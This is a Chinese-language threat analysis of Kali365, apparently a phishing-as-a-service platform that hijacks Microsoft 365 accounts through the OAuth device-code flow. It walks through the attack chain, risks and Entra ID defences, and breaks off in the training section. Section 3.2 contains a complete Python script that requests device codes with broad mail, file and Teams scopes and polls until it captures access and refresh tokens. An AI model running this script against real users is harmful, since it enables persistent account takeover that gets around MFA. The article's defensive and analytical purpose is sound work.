
摘要
Kali365 是 2026 年兴起的一款商业化钓鱼即服务平台,依托 Telegram 渠道进行推广售卖,主要滥用 OAuth 2.0 设备授权码流针对 Microsoft 365 租户实施攻击。该平台摒弃传统钓鱼窃取账号密码的模式,借助 AI 生成钓鱼诱饵、自动化运营模板等功能降低攻击门槛,诱导用户在微软官方验证页面完成全流程身份核验与多因素认证,最终窃取 OAuth 访问令牌与刷新令牌,实现账号持久化接管,目前已造成全球数百起企业账号沦陷事件。本文结合 FBI 发布的安全预警、OAuth 2.0 协议标准以及 Kali365 平台运行特征,完整拆解其技术架构、产业化运营模式、端到端攻击链路,通过 Python 代码示例复现设备码请求、令牌捕获等核心技术环节,明确该攻击绕过多因素认证的底层逻辑。文章从协议管控、行为监测、令牌治理、邮件防护、人员培训五个维度,搭建适配 Microsoft 365 生态的闭环防御体系,同时给出 Microsoft Entra 条件访问策略、日志审计、批量令牌吊销等可落地实操方案。反网络钓鱼技术专家芦笛指出,以 Kali365 为代表的协议滥用型钓鱼即服务工具,已经成为云身份安全的主流威胁,传统基于密码与伪造页面的防护手段已难以发挥作用,企业必须重构以 OAuth 令牌、认证流程管控为核心的安全架构。本文研究成果可为各类使用 Microsoft 365 服务的政企机构、网络安全运维人员提供技术参考与应急处置依据。

1 引言
云计算的深度普及让 Microsoft 365 成为政企数字化办公的核心载体,Outlook 邮件、Teams 协同、OneDrive 云存储、SharePoint 文档库等模块承载着企业财务数据、客户资料、人事档案、商业合同等核心敏感资产,其账号与身份安全直接决定企业整体网络安全态势。网络钓鱼作为历史悠久的网络攻击手段,长期以伪造登录页面、骗取明文密码为主要实施方式,各大安全厂商与企业也针对性部署了域名检测、恶意链接查杀、页面特征识别等防护机制,形成了相对成熟的传统钓鱼防御体系。
人工智能技术与钓鱼即服务(PhaaS)模式的结合,推动网络钓鱼攻击完成了新一轮技术迭代。攻击者不再局限于手工制作钓鱼页面、编写钓鱼话术,而是依托商业化工具实现诱饵自动化生成、攻击批量投放、目标实时追踪,攻击的规模化、伪装性与成功率大幅提升。2026 年 4 月,安全厂商首次监测到 Kali365 钓鱼即服务平台上线,该平台主打针对 Microsoft 365 生态的 OAuth 令牌劫持攻击,短短一个月内便出现大量实战攻击案例。同年 5 月 21 日,美国联邦调查局(FBI)通过互联网犯罪投诉中心(IC3)发布公开安全预警,提醒全球企业警惕 Kali365 攻击,该平台借助合法的 OAuth 2.0 设备授权流程,绕过多因素认证(MFA)防护,已造成大量企业账号被非法接管。
Kali365 的核心攻击逻辑区别于传统钓鱼:它不搭建仿冒登录站点,全程引导用户访问微软官方认证页面;不窃取用户账号密码,而是利用社会工程学手段,诱使用户主动为攻击者的恶意会话完成授权。该攻击巧妙利用 OAuth 设备码流的设计特性,使得微软安全系统将恶意授权行为判定为正常业务操作,多因素认证这一主流安全防护机制也因用户主动配合而彻底失效。结合监测数据来看,Kali365 采用分级订阅的商业化运营模式,最低订阅费用为 30 天 250 美元,最高年度订阅费用达 2000 美元,低廉的使用成本让大量低技术门槛的网络犯罪分子参与其中,进一步加速了威胁的扩散速度。
现阶段,国内多数政企单位对于 OAuth 2.0 设备授权流的滥用风险认知不足,Microsoft 365 租户普遍沿用传统钓鱼防护策略,未针对设备码认证、OAuth 令牌建立专项管控规则。同时,企业员工依旧保留 “官方页面绝对安全” 的固有认知,面对伪装成文档查看、发票核验、权限申请的钓鱼诱饵缺乏甄别能力,多重因素叠加导致企业暴露在极高的安全风险之中。基于上述背景,本文以 Kali365 平台为核心研究对象,结合 FBI 预警内容与公开威胁情报,系统分析其技术架构、攻击全流程、产业化运营模式与安全危害,通过代码示例还原底层协议交互逻辑,挖掘攻击得以成功的技术根源与人为漏洞,结合 Microsoft 365 与 Microsoft Entra ID 的功能特性构建全链路防御体系与应急处置流程。研究旨在填补国内针对 Kali365 专项研究的细节空白,帮助企业厘清新型协议滥用类钓鱼攻击的风险特征,推动云身份安全防护体系的优化升级。
2 基础技术与 Kali365 平台整体概述
2.1 OAuth 2.0 设备授权流核心技术原理
OAuth 2.0 是当前互联网通用的开放授权协议,核心价值是在不泄露用户明文密码的前提下,允许第三方应用合法获取用户在平台内的资源访问权限,广泛应用于云服务、跨平台登录、第三方应用授权等场景。设备授权码流(Device Authorization Grant)是 OAuth 2.0 协议专门为智能电视、网络打印机、物联网终端等输入交互能力受限的设备设计的授权模式,微软 Microsoft Entra ID 原生完整支持该协议流程。
该协议的设计初衷解决弱输入设备的登录难题:此类设备无法便捷输入账号密码与验证码,因此采用 “设备生成专属编码 + 用户在常规终端完成认证” 的分离式交互模式。标准的 OAuth 2.0 设备授权流分为五个标准化交互环节,各环节接口、参数、数据流向均有明确规范,也是 Kali365 攻击能够落地的技术基础。
第一,设备客户端发起设备码请求。终端设备向微软身份认证服务器/devicecode接口提交客户端 ID、授权范围等参数,服务器校验客户端合法性后,返回两组核心编码:device_code与user_code。其中device_code是服务端与客户端会话绑定的唯一凭证,仅由发起请求的客户端持有;user_code是展示给用户的简短可视化验证码,用于用户关联认证会话。同时服务器会返回官方认证页面地址、验证码有效期、接口轮询间隔等附加信息,微软体系下user_code默认有效期为 15 分钟。
第二,设备展示认证指引。弱输入设备在界面上展示user_code与微软官方认证链接microsoft.com/devicelogin,提示用户使用手机、电脑等常规终端访问链接并输入验证码。
第三,用户完成全流程身份授权。用户访问官方页面并输入user_code后,依次完成账号密码验证、多因素认证,最终确认授权当前设备访问账号资源。整个流程的身份核验环节完全依托微软官方页面完成。
第四,客户端轮询令牌接口。发起请求的设备按照约定的轮询间隔,持续调用微软/token接口。在用户未完成授权时,服务器持续返回轮询提示;用户完成授权后,服务器终止轮询并下发令牌数据。
第五,客户端使用令牌访问资源。客户端获取access_token(短期访问令牌)与refresh_token(长期刷新令牌)。访问令牌时效性较短,用于直接访问邮箱、文件等资源;刷新令牌支持离线续签新的访问令牌,实现长期免密访问,这也是该协议被恶意利用实现持久化控制的关键。
从安全设计角度而言,标准设备授权流依靠会话隔离、用户主动授权两大机制保障安全,正常业务场景下不存在明显漏洞。但 “会话主体分离、用户主导授权、刷新令牌长效有效” 三大特性,被 Kali365 恶意利用,成为攻击突破各类防护的核心切入点。
2.2 Kali365 钓鱼即服务平台核心特征
Kali365 是一款面向黑产群体的商业化 PhaaS 平台,2026 年 4 月首次出现于 Telegram 地下社群,依靠完整的功能模块、简易的操作逻辑、分级付费模式快速占领黑产市场。该平台将复杂的 OAuth 令牌劫持攻击模块化、可视化,攻击者无需掌握专业编程知识与网络安全技术,仅通过后台配置即可批量发起针对 Microsoft 365 的定向钓鱼攻击。结合 FBI 预警与多方威胁情报,该平台具备以下核心特征。
2.2.1 商业化订阅与运营模式
Kali365 设置三级订阅套餐,适配不同规模的黑产攻击团队:基础套餐 30 天收费 250 美元,适用于小规模单点攻击;进阶套餐提供更多模板与追踪功能;年度全功能套餐定价 2000 美元,面向规模化攻击团伙。平台按照订阅等级开放不同权限,包括诱饵模板数量、同时在线攻击任务数、目标追踪仪表盘权限、令牌存储时长等,标准化的付费模式让攻击行为走向产业化。
2.2.2 全自动化攻击功能模块
平台内置多项自动化工具,大幅降低攻击实施难度。其一为 AI 智能诱饵生成模块,支持 Adobe、DocuSign、SharePoint 等数十款主流办公品牌伪装,可生成多语言钓鱼邮件与消息模板,模拟发票通知、共享文档、会议邀请、权限申请等办公场景,话术自然且无传统钓鱼邮件的语法错误。其二为自动化 Campaign 模板,攻击者可预设攻击流程、跳转规则、轮询参数,一键批量投放钓鱼载荷。其三为实时追踪仪表盘,攻击者可在线查看目标是否点击链接、是否输入验证码、是否完成授权、令牌是否成功捕获等全流程数据,实时掌握攻击进度。其四为令牌自动捕获与存储模块,一旦用户完成授权,平台自动抓取 OAuth 两类令牌并加密存储,供攻击者后续调用。
2.2.3 传播渠道与攻击目标定位
Kali365 主要依托 Telegram 各类地下频道进行推广、售卖与技术答疑,黑产团伙在社群内分享攻击经验、更新工具版本。在攻击目标选择上,攻击者优先瞄准企业财务、人力资源、销售、管理层等高价值岗位,此类账号存储企业核心数据,入侵后可实施商业邮件诈骗、数据倒卖等后续违法活动。同时平台支持批量导入邮箱列表,可对整家企业、多个行业机构开展规模化定向攻击。
2.2.4 攻击载体与伪装特性
攻击载体以企业邮箱、Teams 即时通讯消息为主,钓鱼内容完全复刻正规办公场景,仅使用 “验证身份查看文件”“签署电子回执” 等简洁引导语,无夸张诱导话术。整个攻击链路中,仅中转页面为攻击者控制,后续认证环节全部跳转至微软官方页面,域名、安全证书、页面样式均无异常,传统钓鱼检测工具难以识别。
2.3 Kali365 与传统钓鱼、同类设备码钓鱼工具对比
为精准界定 Kali365 的威胁特殊性,本文将其与传统密码窃取型钓鱼、早期同类设备码钓鱼工具进行多维度对比,明确其迭代升级之处,具体对比内容如表 1 所示。
表 1 不同类型网络钓鱼工具对比分析
表格
对比维度 传统密码窃取型钓鱼 早期设备码钓鱼工具 Kali365 钓鱼即服务平台
核心攻击目标 窃取账号、明文密码、短信验证码 窃取 OAuth 访问令牌与刷新令牌 窃取 OAuth 令牌,实现持久化账号接管
页面特征 伪造登录页面,域名、证书存在异常 部分使用简易中转页,伪装能力较弱 全程使用微软官方认证页面,无显性特征
多因素认证效果 可被 MFA 有效拦截 用户主动完成 MFA,绕过防护 AI 优化诱饵,MFA 完全失效,绕过成功率更高
技术门槛 中等,需制作仿冒页面 较高,需掌握协议与编程技术 极低,可视化后台,零基础即可操作
自动化能力 弱,多为手工投放 基础自动化,无统一监控 全流程自动化,AI 生成诱饵 + 实时追踪
运营模式 个人或小团伙零散攻击 零散售卖工具,无配套服务 分级订阅商业化运营,产业化程度高
令牌管控 不涉及 OAuth 令牌 手动提取、使用令牌 自动存储、分类管理令牌,支持批量调用
对比可见,Kali365 并非简单复刻早期设备码钓鱼思路,而是在功能自动化、诱饵智能化、运营商业化、使用简易化四个维度完成全面升级,也是其能够在短时间内引发大规模安全事件的核心原因。反网络钓鱼技术专家芦笛强调,PhaaS 模式让新型钓鱼攻击从 “技术人员的工具” 转变为 “黑产通用服务”,威胁扩散速度与破坏范围呈几何级增长,企业必须提高对此类商业化攻击工具的重视程度。
3 Kali365 攻击全链路拆解与核心代码实现
3.1 完整攻击链路拆解
结合 FBI 披露的攻击流程、威胁情报样本以及 Kali365 平台功能模块,将其攻击全链路划分为目标筛选与情报准备、钓鱼载荷批量投放、设备码申请与页面展示、用户身份授权、OAuth 令牌捕获、账号持久化控制与资源滥用六个阶段,六个阶段环环相扣,形成完整的攻击闭环,每个阶段的技术动作、交互逻辑与攻击目标如下。
3.1.1 目标筛选与情报准备阶段
该阶段为攻击前置准备工作,部分攻击者会提前 7~15 天开展情报探测。攻击者利用 Kali365 的批量探测功能,导入搜集到的企业员工邮箱列表,自动校验 Microsoft 365 账号的活跃状态,过滤注销、禁用、异常账号,筛选出有效攻击目标。同时按照部门、岗位对目标进行分类,标记财务、人事等高优先级目标。此阶段仅存在常规账号探测请求,无恶意载荷投放,流量特征与正常网络访问高度相似,绝大多数企业无法感知前置探测行为。完成目标筛选后,攻击者在平台后台选择匹配行业、场景的 AI 生成诱饵模板,配置授权范围(默认勾选邮箱、文件、Teams 等全量权限),设置接口轮询间隔、令牌存储规则等参数。
3.1.2 钓鱼载荷批量投放阶段
攻击者在 Kali365 后台启动攻击任务,平台按照预设列表批量发送钓鱼邮件或 Teams 消息。钓鱼内容高度贴合办公场景,主流诱饵包括外部合作方电子发票、跨部门共享文档、会议日历邀请、SharePoint 权限申请四类。邮件正文简洁,仅附带一条跳转链接,引导用户 “点击链接完成验证,查看对应内容”。链接指向 Kali365 平台搭建的恶意中转页面,该页面是整个攻击链路中唯一由攻击者控制的节点,也是调用微软设备码接口的核心载体。载荷投放完成后,攻击者可通过平台仪表盘实时查看链接点击量,追踪目标动态。
3.1.3 设备码申请与页面展示阶段
当受害者点击钓鱼链接后,跳转至攻击者的恶意中转页面。该页面作为恶意客户端,自动向微软https://login.microsoftonline.com/common/oauth2/v2.0/devicecode接口发起 POST 请求,提交提前配置的客户端 ID、全量资源授权范围、offline_access(离线访问权限,用于获取刷新令牌)等参数。
微软认证服务器校验客户端 ID 合法性后,返回device_code、user_code、官方认证地址、15 分钟有效期、轮询间隔等数据。恶意中转页面提取user_code与微软官方登录地址并展示在用户界面上,同时利用话术催促用户尽快操作。此阶段的核心陷阱在于:页面展示的user_code绑定的device_code完全归属于攻击者的会话,用户后续所有认证操作,本质上都是为攻击者的恶意设备授予账号访问权限。而 15 分钟的短有效期会形成时间压力,进一步降低用户的风险甄别意愿。
3.1.4 用户身份认证与授权阶段(核心欺骗环节)
受害者按照页面指引,使用电脑、手机等终端访问微软官方设备登录页面microsoft.com/devicelogin,输入user_code。由于域名、页面样式、安全证书均为微软官方资源,用户极易放松警惕。输入验证码后,页面跳转至 Microsoft 365 账号登录界面,用户依次输入账号密码、完成短信验证码、动态令牌、生物识别等多因素认证,最后页面弹出授权确认框,询问是否允许当前设备访问账号资源。
微软官方页面会弹出警示文字,提醒用户不要输入非可信来源的验证码,但受诱饵场景迷惑,绝大多数用户会忽略警示并点击 “同意授权”。从微软服务器视角来看,整个流程是标准、合规的设备授权操作,系统无法区分发起设备码请求的客户端是正规硬件还是恶意中转页面,因此正常受理全部授权行为。在此环节中,多因素认证彻底失去防护作用:传统 MFA 用于拦截 “攻击者窃取密码后尝试登录”,而本次攻击中,用户主动为攻击者完成 MFA 验证,防护逻辑被完全绕过。
3.1.5 OAuth 令牌捕获阶段
在用户进行身份认证的同时,Kali365 平台后台按照预设间隔持续轮询微软/token接口,携带device_code、客户端 ID 等参数请求令牌。在用户未完成授权前,服务器持续返回authorization_pending错误,平台自动按照间隔继续轮询;当用户完成全部授权操作后,微软服务器判定会话授权生效,向攻击者的恶意客户端下发access_token与refresh_token。
Kali365 平台自动捕获两类令牌并加密存储至后台数据库,攻击者可随时导出令牌。至此,攻击核心目标达成,攻击者无需知晓用户密码与 MFA 验证码,即可凭借令牌模拟合法用户身份访问 Microsoft 365 全量资源。
3.1.6 持久化控制与资源滥用阶段
该阶段是攻击造成实质性危害的环节,refresh_token的长效特性是实现持久化控制的关键。访问令牌有效期较短,一般为数小时至一天,但刷新令牌可长期使用,即便用户后续修改账号密码、下线所有在线设备,攻击者依旧可以使用刷新令牌续签新的访问令牌,长期控制目标账号。
攻击者利用令牌可执行多种恶意操作:登录 Outlook 查看、转发、删除企业邮件,窃取商业往来信息;访问 OneDrive 与 SharePoint 下载合同、报表、客户资料等敏感文件;登录 Teams 查看聊天记录、冒充员工发送消息。部分攻击者还会在受害账号内新增恶意收件箱规则,自动转发邮件、屏蔽安全告警,隐藏入侵痕迹,延长潜伏时间。若被入侵账号具备管理员权限,攻击者还可以此为跳板,在企业内网开展横向渗透,扩大攻击范围。
3.2 基于 Python 的协议交互代码示例
为清晰展示 Kali365 依托的 OAuth 2.0 设备授权流交互逻辑,本文基于 Python 3.8 编写完整代码示例,模拟恶意客户端申请设备码、轮询捕获令牌的核心流程。代码严格遵循微软接口规范,仅用于网络安全研究与防御测试,严禁用于非法攻击行为。
3.2.1 运行环境与接口说明
运行环境:Python 3.8 及以上版本,依赖requests库;
核心接口地址:设备码请求接口https://login.microsoftonline.com/common/oauth2/v2.0/devicecode,令牌获取接口https://login.microsoftonline.com/common/oauth2/v2.0/token;
核心参数:client_id为应用客户端 ID,攻击者注册微软应用即可获取;scope定义授权范围,包含offline_access用于获取刷新令牌;设备流固定授权类型为urn:ietf:params:oauth:grant-type:device_code。
3.2.2 完整代码实现
# -*- coding: utf-8 -*-
# OAuth 2.0设备授权流模拟代码(安全研究专用)
# 复现Kali365核心协议交互:设备码申请 + 轮询捕获OAuth令牌
import requests
import time
import json
# 基础配置参数(对应Kali365后台配置项)
# 攻击者自行注册微软应用获取的客户端ID,实战中使用有效ID
CLIENT_ID = "00000000-0000-0000-0000-000000000000"
# 授权范围:Microsoft 365邮箱、文件、Teams全权限 + 离线访问(获取刷新令牌)
SCOPE = (
"https://graph.microsoft.com/Mail.ReadWrite "
"https://graph.microsoft.com/Files.ReadWrite.All "
"https://graph.microsoft.com/Teams.ReadWrite "
"offline_access"
)
# 微软官方接口地址
DEVICE_CODE_API = "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode"
TOKEN_API = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
def request_device_code():
"""第一步:调用接口获取device_code、user_code等核心数据"""
headers = {"Content-Type": "application/x-www-form-urlencoded"}
post_data = {
"client_id": CLIENT_ID,
"scope": SCOPE
}
try:
response = requests.post(DEVICE_CODE_API, data=post_data, headers=headers, timeout=15)
if response.status_code == 200:
res_data = json.loads(response.text)
# 解析返回字段
device_code = res_data.get("device_code")
user_code = res_data.get("user_code")
verify_url = res_data.get("verification_uri")
expire_time = int(res_data.get("expires_in") / 60)
poll_interval = res_data.get("interval", 5)
# 模拟中转页面向受害者展示验证码与指引
print("===== 页面展示内容(受害者可见) =====")
print(f"请访问微软官方验证页面:{verify_url}")
print(f"请输入以下验证码完成身份验证:{user_code}")
print(f"验证码有效期:{expire_time} 分钟,请尽快操作")
print("======================================")
return device_code, poll_interval
else:
print(f"设备码请求失败,状态码:{response.status_code},详情:{response.text}")
return None, None
except Exception as e:
print(f"接口请求异常:{str(e)}")
return None, None
def poll_for_token(device_code, poll_interval):
"""第二步:循环轮询令牌接口,捕获access_token与refresh_token"""
print("开始轮询令牌接口,等待用户完成授权操作...")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
post_data = {
"client_id": CLIENT_ID,
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": device_code
}
while True:
try:
response = requests.post(TOKEN_API, data=post_data, headers=headers, timeout=15)
res_data = json.loads(response.text)
if response.status_code == 200:
# 成功捕获令牌,攻击达成目标
access_token = res_data.get("access_token")
refresh_token = res_data.get("refresh_token")
token_expire = res_data.get("expires_in")
print("\n===== 成功捕获OAuth令牌(攻击者获取凭证) =====")
print(f"短期访问令牌(access_token):{access_token[:40]}......")
print(f"长期刷新令牌(refresh_token):{refresh_token[:40]}......")
print(f"访问令牌有效期:{token_expire} 秒")
print("============================================")
return access_token, refresh_token
else:
error_type = res_data.get("error")
if error_type == "authorization_pending":
# 用户暂未完成授权,继续轮询
print(f"用户未完成授权,{poll_interval}秒后再次轮询...")
time.sleep(poll_interval)
elif error_type == "slow_down":
# 服务器要求降低请求频率,延长轮询间隔
poll_interval += 2
print(f"请求频率过高,调整轮询间隔为{poll_interval}秒")
time.sleep(poll_interval)
elif error_type == "expired_token":
# 验证码过期,攻击终止
print("验证码已过期,本次攻击失败")
return None, None
else:
print(f"轮询出现未知错误:{res_data}")
return None, None
except Exception as e:
print(f"轮询请求异常:{str(e)},{poll_interval}秒后重试")
time.sleep(poll_interval)
def main():
"""主函数:模拟Kali365完整协议攻击流程"""
print("===== 模拟Kali365设备码钓鱼核心流程 =====")
# 1. 获取设备码与用户验证码
dev_code, interval = request_device_code()
if not dev_code:
return
# 2. 轮询接口捕获令牌
poll_for_token(dev_code, interval)
if __name__ == "__main__":
main()
3.2.3 代码运行逻辑与攻击风险点分析
代码运行逻辑:程序启动后首先调用request_device_code函数向微软接口申请设备码与用户验证码,并模拟页面向受害者展示信息;随后poll_for_token函数按照固定间隔持续轮询令牌接口。当受害者在官方页面完成账号登录、多因素认证与授权确认后,程序成功获取两类 OAuth 令牌,模拟 Kali365 捕获凭证的全过程。若验证码超时、请求频率超限,程序会按照协议规则做出对应响应。
核心攻击风险点:第一,客户端 ID 准入门槛低,普通用户即可注册应用获取有效 ID,微软未对设备码请求客户端进行风险分级管控;第二,会话信息不对称,用户仅能看到user_code,无法识别device_code对应的会话归属,被动为恶意客户端授权;第三,offline_access权限的滥用,直接生成长效刷新令牌,为持久化入侵提供支撑;第四,接口轮询机制无异常拦截,正常轮询行为与恶意轮询行为在流量特征上高度一致,难以通过基础流量规则区分。
该代码直观证明,Kali365 攻击并非利用系统高危漏洞,而是协议特性滥用 + 商业化工具赋能 + 社会工程学欺骗三者结合的产物,这也是传统安全设备难以拦截的核心原因。
3.3 Kali365 平台技术难点与黑产运营细节
3.3.1 攻击技术限制
尽管 Kali365 大幅降低了攻击门槛,但实战中仍存在三处技术约束,也是黑产需要规避的问题。其一为接口限流,微软令牌接口具备访问频率管控,轮询间隔过短会触发slow_down报错,攻击者必须按照协议要求延长间隔,无法高频暴力请求。其二为验证码时效性,15 分钟的有效期限制了攻击窗口,若用户延迟操作,验证码自动失效,攻击直接中断,因此平台会配合话术催促用户即时操作。其三为租户权限管控,若企业管理员提前收紧 OAuth 应用授权策略、限制全量资源访问权限,即便令牌被捕获,攻击者也无法获取核心数据。
3.3.2 黑产产业化分工
依托 Kali365 的商业化模式,黑产形成了分工明确的完整产业链。第一类为平台开发者与维护者,负责工具开发、版本迭代、漏洞修复、社群运维,依靠订阅费用盈利;第二类为攻击执行者,购买平台服务后,搜集邮箱列表、配置诱饵、投放载荷,实施全流程攻击;第三类为数据变现者,收购被窃取的企业数据、接管账号,开展商业邮件诈骗、数据倒卖、勒索等违法活动;第四类为技术优化人员,利用 AI 持续优化诱饵模板、伪装流量特征,提升攻击成功率。完整的产业链让威胁具备持续迭代、快速扩散的能力。
4 Kali365 攻击安全危害与综合风险评估
4.1 直接安全危害
4.1.1 企业核心数据大规模泄露
攻击者凭借 OAuth 令牌可无限制访问 Microsoft 365 内所有已授权资源。财务账号被入侵会导致银行流水、发票、对公合同、资金报表泄露;人事账号泄露会造成员工身份证信息、薪资数据、劳动合同外泄;销售账号泄露会流失客户名单、报价方案、合作机密。数据泄露不仅会造成企业直接经济损失,还会违反《网络安全法》《个人信息保护法》等法律法规,使企业面临监管部门的处罚。对于金融、律所、医疗等高度依赖数据安全的行业,单次数据泄露事件就可能造成致命打击。
4.1.2 商业邮件入侵(BEC)诈骗频发
商业邮件诈骗是 Kali365 攻击最主要的衍生危害。攻击者接管企业邮箱后,模仿企业负责人、财务人员的语气,向合作单位、内部员工发送虚假转账指令、付款通知。企业长期形成的邮件沟通信任关系,会大幅提升诈骗成功率。结合 FBI 统计数据,近年来全球多起涉案金额达百万、千万美元的商业邮件诈骗案件,均由此类设备码钓鱼攻击引发,给企业造成不可逆的经济损失。
4.1.3 账号长期失控,潜伏风险加剧
刷新令牌的长效特性是该攻击最隐蔽的风险。用户修改密码、手动下线登录设备,仅能失效短期访问令牌,无法吊销攻击者持有的刷新令牌。攻击者可在数月时间内,定期使用刷新令牌续签新的访问令牌,持续潜伏在企业办公系统中,监控邮件往来、文件操作。多数企业仅定期检查在线登录会话,难以发现后台潜伏的恶意令牌,安全隐患长期存在。
4.1.4 内网横向渗透,扩大入侵范围
若被入侵账号拥有 Microsoft 365 租户管理员权限或内网访问权限,攻击者会以此为跳板,探测企业组织架构、批量窃取其他员工账号信息,针对同部门、同网段账号发起二次攻击,将单点账号入侵升级为全域网络安全事件,甚至渗透至企业内部业务系统、服务器,造成更大范围的破坏。
4.2 间接安全危害
4.2.1 企业品牌与声誉受损
数据泄露、邮件诈骗事件曝光后,客户、合作伙伴会质疑企业的数据安全管控能力,品牌口碑与行业信誉大幅下滑,直接影响市场合作与业务拓展。尤其是面向公众服务的企业,负面安全事件会引发用户恐慌,造成客户流失。
4.2.2 正常办公秩序中断
攻击爆发后,企业安全团队需要投入大量人力开展日志溯源、令牌吊销、账号排查、恶意规则清理、全员安全核查等应急工作,正常办公流程被迫中断。同时,员工因安全事件产生恐慌情绪,工作效率明显下降。
4.2.3 现有安全体系信任危机
域名检测、恶意链接查杀、页面特征识别、基础多因素认证等传统防护手段,对 Kali365 攻击完全失效。企业管理层与员工会对现有安全防护体系产生质疑,安全建设工作的推进阻力增大。
4.3 综合风险等级评估
结合攻击传播范围、实施门槛、危害程度、应急修复成本、威胁迭代能力五大维度,对 Kali365 攻击进行综合风险评估,评估结果如表 2 所示。
表 2 Kali365 攻击综合风险等级评估表
表格
评估维度 详细分析 风险等级
传播范围 Telegram 全域推广,全球扩散,大中小微企业、事业单位均为目标 极高
攻击实施门槛 PaaS 平台可视化操作,零基础人员即可发起规模化攻击 极低
单次攻击危害 单点入侵可引发数据泄露、资金诈骗、横向渗透等多重后果 极高
应急修复成本 需批量吊销令牌、审计全量日志、加固租户策略,人力与时间成本高 高
威胁迭代能力 依托 AI 持续优化诱饵与流量特征,工具版本不断更新 高
综合风险判定 攻击门槛低、传播快、危害大、修复难、持续迭代,属于顶级网络威胁 极高
反网络钓鱼技术专家芦笛指出,Kali365 代表着云时代钓鱼攻击的全新发展方向,攻击者从 “窃取凭证” 转向 “滥用合法流程”,传统安全防护思维已经滞后于威胁演变速度,企业必须将 OAuth 协议管控、令牌全生命周期管理纳入核心安全工作。
5 全维度闭环防御体系与落地实操方案
针对 Kali365“滥用 OAuth 设备码流、绕过 MFA、令牌持久化、伪装性极强” 四大核心特点,结合 FBI 安全建议与 Microsoft 官方防护规范,遵循源头阻断、实时监测、事中处置、权限加固、意识提升的五层防御思路,搭建适配 Microsoft 365 生态的闭环防御体系,所有方案均提供具体操作步骤,具备落地性。
5.1 源头阻断:基于条件访问策略禁用 / 限制设备码流
对于绝大多数政企办公场景,智能电视、打印机等弱输入设备极少使用 OAuth 设备码流,关闭非必要的设备代码流是阻断 Kali365 攻击最直接、最高效的手段,可从攻击入口彻底消除风险。
5.1.1 前置准备工作
权限要求:操作账号需具备 Microsoft Entra ID 条件访问管理员权限;
业务影响评估:优先使用 “仅报告模式” 运行策略,持续观测 7~15 天,通过登录日志统计设备码流的实际使用情况,确认无正常业务受影响后再正式阻断;
例外清单梳理:将运维应急账号、专用 IoT 设备账号加入排除列表,避免正常业务中断,例外清单每季度审核清理。
5.1.2 条件访问策略配置步骤
登录 Microsoft Entra 管理中心,依次进入【Entra ID】-【安全性】-【条件访问】,点击【新策略】;
策略命名:设置为 “阻断 OAuth 设备码流(防御 Kali365 攻击)”;
分配对象:选择【所有用户】,在排除项中添加应急账号、特殊设备账号组;
目标资源:选择【所有云应用】,覆盖全部 Microsoft 365 服务;若部分硬件需使用设备码流,单独对对应客户端 ID 设置例外;
身份验证流:进入【条件】-【身份验证流】,开启配置并勾选【设备代码流】;
访问控制:进入【访问控制】-【授予】,选择【阻止访问】;
策略上线:先启用 “仅报告” 模式观测影响,确认无异常后正式启用阻断策略。
若企业因业务需求必须使用设备码流,则采用精细化限制方案:仅允许企业内网 IP 段、合规托管设备、指定部门用户使用该流程,拒绝外网 IP、陌生设备发起的设备码请求,最大限度缩小攻击面。
5.2 实时监测:搭建多维度异常行为告警规则
对于无法关闭设备码流的企业,需依靠日志审计与告警规则实现主动发现,监测核心围绕设备码认证、陌生设备登录、异常令牌、恶意邮件规则四大指标展开。
5.2.1 核心监测规则
异常设备码认证告警:监测 Entra 登录日志,非工作时间、外网 IP、陌生地理位置触发设备码流认证,立即触发高危告警;
陌生终端关联告警:账号出现未知设备、陌生操作系统登录,且登录会话关联设备码流,第一时间核查行为合法性;
令牌异常监测:同一账号短时间内频繁申请令牌、令牌授权范围包含全量邮件 / 文件权限、刷新令牌跨地区使用,触发告警;
恶意收件箱规则告警:账号新增邮件转发、自动删除等规则,且新增时间与设备码认证时间重合,判定为入侵行为。
5.2.2 日志审计与溯源方法
运维人员每日导出 Entra 登录日志、Microsoft 365 审计日志,使用 Kusto 查询语句筛选设备码流相关记录,核心查询语句如下:
SigninLogs | where AuthenticationProtocol == "deviceCode"
结合日志中的 IP 地址、地理位置、会话 ID 追溯攻击链路,定位受影响账号与攻击来源。建议部署日志集中管理平台,实现日志自动化分析与告警聚合。
5.3 事中处置:账号与 OAuth 令牌应急响应流程
当监测到攻击行为或员工上报异常验证码请求时,需分级开展应急处置。反网络钓鱼技术专家芦笛强调,修改密码、下线会话无法彻底清除风险,吊销所有刷新令牌是处置此类攻击的核心操作。
5.3.1 三级应急处置流程
一级预警(收到异常验证码,未完成授权)
员工收到陌生发票、文档类消息,页面要求输入设备验证码,但未在微软官方页面完成认证。处置动作:立即关闭页面、删除钓鱼邮件,第一时间上报 IT / 安全团队;安全人员对该账号进行临时监控,排查同部门账号是否收到同类载荷。
二级告警(已完成授权,发现陌生登录)
用户不慎完成授权,日志监测到陌生设备登录。处置动作:下线该账号所有活跃会话;在 Microsoft 365 后台吊销全部刷新令牌;强制用户修改密码并重置多因素认证方式;持续监控该账号 72 小时。
三级告警(确认账号沦陷,发生数据泄露)
已证实攻击者窃取数据、新增恶意邮件规则。处置动作:临时禁用该账号,阻断访问通道;全面审计该账号所有登录、令牌、邮件操作日志;清理恶意收件箱规则;开展全域账号排查,防范横向渗透;按照法律法规要求完成数据泄露合规上报。
5.3.2 批量令牌吊销实操
面对大规模攻击导致多账号沦陷的场景,管理员可通过 Microsoft PowerShell 连接 Office 365 后台,批量吊销租户内指定账号的刷新令牌,提升处置效率。
5.4 权限加固:OAuth 应用与令牌全生命周期管控
遵循最小权限原则收紧 OAuth 授权规则,即便攻击侥幸成功,也能限制攻击者的资源访问范围,降低损失。
收紧默认授权范围:修改 Entra 默认授权策略,禁止陌生应用一次性获取邮件、文件全量读写权限,仅开放最小必要权限;
限制离线访问权限:对非业务必需的应用,禁止授予offline_access权限,从源头阻止刷新令牌生成;
开启应用审批机制:设置管理员人工审批流程,任何陌生第三方应用申请授权时,必须经管理员审核通过,普通员工无法自主授权;
缩短令牌生命周期:在 Entra 中配置刷新令牌最大使用时长、空闲时长,强制令牌定期自动失效,压缩攻击窗口期。
5.5 底层防御:全员安全意识培训与模拟演练
Kali365 攻击的落地高度依赖社会工程学欺骗,员工安全意识短板是攻击成功的重要诱因,常态化培训与演练是长效防御的基础。
5.5.1 培训核心内容
新型攻击科普:讲解 Kali365 攻击原理,打破 “微软官方页面就是安全页面” 的固有认知;
